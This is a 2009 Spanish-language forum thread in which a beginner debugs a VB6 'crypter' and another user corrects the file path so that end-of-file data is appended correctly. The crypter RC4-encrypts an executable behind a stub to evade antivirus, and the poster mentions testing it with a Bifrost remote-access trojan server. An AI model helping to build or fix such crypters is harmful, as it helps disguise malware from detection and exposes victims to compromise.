Indetectables

Publicado: **22 Oct 2009, 04:51**

buenas, hace poquito empecé con vb6 y empezando mi primer proyecto (un cripter simple) me ha saltado una duda tonta...
Tengo este codigo:

Código: Seleccionar todo

With cdlSave
        .DialogTitle = "Guardar en..."
        .Filter = "Aplicaciones EXE|*.exe"
        .DefaultExt = "exe"
        .Filename = "encriptado.exe"
        .ShowSave
    End With
    
    If Not cdlSave.Filename = vbNullString Then
    File = RC4(File, txtRandom.Text)

    Open cdlSave.Filename For Binary As #1
    Put #1, , Stub & "##$$##" & File & "##$$##" & txtRandom.Text & "##$$##"
    Close #1

    If chkEOF.Value = 1 Then
    Call WriteEOFData(App.Path & "/encriptado.exe", read)
    End If

Bien, la duda que tengo es que si cambio esta linea:
Call WriteEOFData(App.Path & "/encriptado.exe", read)

Por esta otra:
Call WriteEOFData(App.Path & "cdlSave.Filename", read)

No se me agrega el eof, por qué no si en teoría es lo mismo?. cdlSave.Filename es el nombre con el que guardo el archivo encriptado verdad?
Es una duda tonta, pero es que es algo molesto porque en el caso de poner otro nombre que no sea "encriptado.exe" a la hora de guardar no se agregaría el eof.

Un saludo y sorry por la duda noob, pero me tiene un poco intrigado

Publicado: **22 Oct 2009, 05:03**

Call WriteEOFData(App.Path & "cdlSave.Filename", read)

Va sin las comillas el cdlSave.FileName...

Asi seria el correcto: Call WriteEOFData(App.Path & cdlSave.Filename, read)

Publicado: **22 Oct 2009, 05:43**

Gracias por tu pronta respuesta leem, se me pasaron las comillas

Salu2!

Edit: Por alguna extraña razón mi servidor de bifrost con el que estoy haciendo pruebas con el eof no me conecta con el código corregido

Código: Seleccionar todo

With cdlSave
        .DialogTitle = "Guardar en..."
        .Filter = "Aplicaciones EXE|*.exe"
        .DefaultExt = "exe"
        .Filename = "encriptado.exe"
        .ShowSave
    End With
   
    If Not cdlSave.Filename = vbNullString Then
    File = RC4(File, txtRandom.Text)

    Open cdlSave.Filename For Binary As #1
    Put #1, , Stub & "##$$##" & File & "##$$##" & txtRandom.Text & "##$$##"
    Close #1

    If chkEOF.Value = 1 Then
    Call WriteEOFData(App.Path & cdlSave.Filename, read)
    End If

En cambio poniendo el nombre "\encriptado.exe" en vez de cdlSave.Filename si me conecta, cosa mas rara...

Publicado: **22 Oct 2009, 21:14**

De nada, Y no estoy seguro pero podrias probar con esto asi:

With cdlSave
.DialogTitle = "Guardar en..."
.Filter = "Aplicaciones EXE|*.exe"
.DefaultExt = "exe"
.Filename = "encriptado.exe"
.ShowSave
End With

If Not cdlSave.Filename = vbNullString Then
File = RC4(File, txtRandom.Text)

Open cdlSave.Filename For Binary As #1
Put #1, , Stub & "##$$##" & File & "##$$##" & txtRandom.Text & "##$$##"
Close #1

If chkEOF.Value = 1 Then
Call WriteEOFData(cdlSave.Filename, read)
End If

Si no me equiboco el cdlSave.Filename coje toda la ruta y el App.Path no es nesesario.

Saludos

Publicado: **23 Oct 2009, 04:15**

Gracias Leem!, lo he puesto como has dicho y ya funciona perfectamente

Publicado: **23 Oct 2009, 04:19**

De nada hombre para estamos aqui.

Un Saludo

Publicado: **27 Oct 2009, 15:43**

Leem eres exelente man
tu lapiceracripter
alavanza a ti leem

Indetectables

[vb6] duda tonta sobre EOF (Solucionado)

[vb6] duda tonta sobre EOF (Solucionado)

Re: [vb6] duda tonta sobre EOF

Re: [vb6] duda tonta sobre EOF

Re: [vb6] duda tonta sobre EOF

Re: [vb6] duda tonta sobre EOF (Solucionado)

Re: [vb6] duda tonta sobre EOF (Solucionado)

Re: [vb6] duda tonta sobre EOF (Solucionado)